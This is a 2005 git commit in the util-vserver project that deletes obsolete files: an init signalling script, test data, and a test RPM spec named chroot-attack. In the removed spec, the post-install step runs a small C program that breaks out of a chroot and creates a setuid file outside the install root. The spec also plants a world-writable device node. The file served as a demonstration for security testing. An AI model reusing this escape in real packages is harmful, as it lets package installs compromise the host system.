obsoleted
authorEnrico Scholz <enrico.scholz@informatik.tu-chemnitz.de>
Sat, 19 Mar 2005 02:16:54 +0000 (02:16 +0000)
committerEnrico Scholz <enrico.scholz@informatik.tu-chemnitz.de>
Sat, 19 Mar 2005 02:16:54 +0000 (02:16 +0000)
git-svn-id: http://svn.linux-vserver.org/svn/util-vserver/trunk@1944 94cd875c-1c1d-0410-91d2-eb244daf1a30

util-vserver/distrib/redhat/initsignal [deleted file]
util-vserver/src/testsuite/data/vserver1/apps/pkgmgmt/style [deleted file]
util-vserver/src/testsuite/data/vserver1/apps/vunify/exclude [deleted file]
util-vserver/src/testsuite/data/vserver2/apps/vunify/exclude [deleted file]
util-vserver/src/testsuite/vuname/nodename [deleted file]
util-vserver/sysv/vkillall [deleted file]
util-vserver/tests/attack.spec [deleted file]
util-vserver/tests/ulimit/cpu [deleted file]

diff --git a/util-vserver/distrib/redhat/initsignal b/util-vserver/distrib/redhat/initsignal
deleted file mode 100755 (executable)
index 840654c..0000000
+++ /dev/null
@@ -1,45 +0,0 @@
-#! /bin/bash
-#
-# initsignal   Signals final start/stop state
-#
-# chkconfig: 2345 99 99
-# description: This service puts a single byte into the \
-#              /var/run/vserver/initsignal fifo
-
-# Source function library.
-. /etc/init.d/functions
-
-RETVAL=0
-SIGNALPIPE=/var/run/vserver/initsignal
-
-lockfile=/var/lock/subsys/initsignal
-
-sendSignal() {
-    test -p "$SIGNALPIPE" && : >"$SIGNALPIPE"
-}
-
-start() {
-       echo -n $"Signaling final start-state: "
-       sendSignal && success || failure
-       RETVAL=$?
-       echo
-       touch "$lockfile"
-       return $RETVAL
-}
-
-stop() {
-       echo -n $"Signaling final stop-state: "
-       sendSignal && success || failure
-       RETVAL=$?
-       echo
-       rm -f "$lockfile"
-       return $RETVAL
-}      
-
-case "$1" in
-  start|stop)
-       "$1";;
-  *)
-       echo $"Usage: $0 {start|stop}"
-       exit 1
-esac
diff --git a/util-vserver/src/testsuite/data/vserver1/apps/pkgmgmt/style b/util-vserver/src/testsuite/data/vserver1/apps/pkgmgmt/style
deleted file mode 100644 (file)
index 8e9ab21..0000000
+++ /dev/null
@@ -1 +0,0 @@
-redhat
diff --git a/util-vserver/src/testsuite/data/vserver1/apps/vunify/exclude b/util-vserver/src/testsuite/data/vserver1/apps/vunify/exclude
deleted file mode 100644 (file)
index 7868af9..0000000
+++ /dev/null
@@ -1,3 +0,0 @@
-/var
-+/etc/termcap
-/etc/*
diff --git a/util-vserver/src/testsuite/data/vserver2/apps/vunify/exclude b/util-vserver/src/testsuite/data/vserver2/apps/vunify/exclude
deleted file mode 100644 (file)
index a788427..0000000
+++ /dev/null
@@ -1 +0,0 @@
-/root/.bash_history
diff --git a/util-vserver/src/testsuite/vuname/nodename b/util-vserver/src/testsuite/vuname/nodename
deleted file mode 100644 (file)
index e12a13e..0000000
+++ /dev/null
@@ -1 +0,0 @@
-sysname_x
diff --git a/util-vserver/sysv/vkillall b/util-vserver/sysv/vkillall
deleted file mode 100755 (executable)
index 86b0a68..0000000
+++ /dev/null
@@ -1,6 +0,0 @@
-#!/bin/sh
-# chkconfig: - 27 73
-# description: Stops unhandled vservers
-
-
-
diff --git a/util-vserver/tests/attack.spec b/util-vserver/tests/attack.spec
deleted file mode 100644 (file)
index cd062e3..0000000
+++ /dev/null
@@ -1,44 +0,0 @@
-Summary:       Demonstrates attacks against 'rpm --root ...' operations
-Name:          chroot-attack
-Version:       0.1
-Release:       1
-Epoch:         0
-License:       GPL
-Group:         Applications/System
-BuildRoot:     %_tmppath/%name-%version-%release-root
-BuildRequires: dietlibc
-
-%description
-
-%prep
-%setup -q -c -T
-
-cat <<EOF >chroot-attack.c
-#include <fcntl.h>
-int main() {
-       chdir("/");
-       chroot("%_bindir");
-       chdir("../../..");
-       umask(0);
-       open("got-you", O_CREAT|O_WRONLY, 04777);
-       return 0;
-}
-EOF
-
-%build
-diet -Os %__cc $RPM_OPT_FLAGS chroot-attack.c -o chroot-attack
-
-%install
-rm -rf $RPM_BUILD_ROOT
-%__install -D -m0755 chroot-attack $RPM_BUILD_ROOT%_bindir/chroot-attack
-
-%clean
-rm -rf $RPM_BUILD_ROOT
-
-
-%post -p %_bindir/chroot-attack
-
-%files
-%defattr(-,root,root,-)
-%_bindir/*
-%attr(0777, root,root) %dev(c, 3, 0) /mydev
diff --git a/util-vserver/tests/ulimit/cpu b/util-vserver/tests/ulimit/cpu
deleted file mode 100644 (file)
index 0cfbf08..0000000
+++ /dev/null
@@ -1 +0,0 @@
-2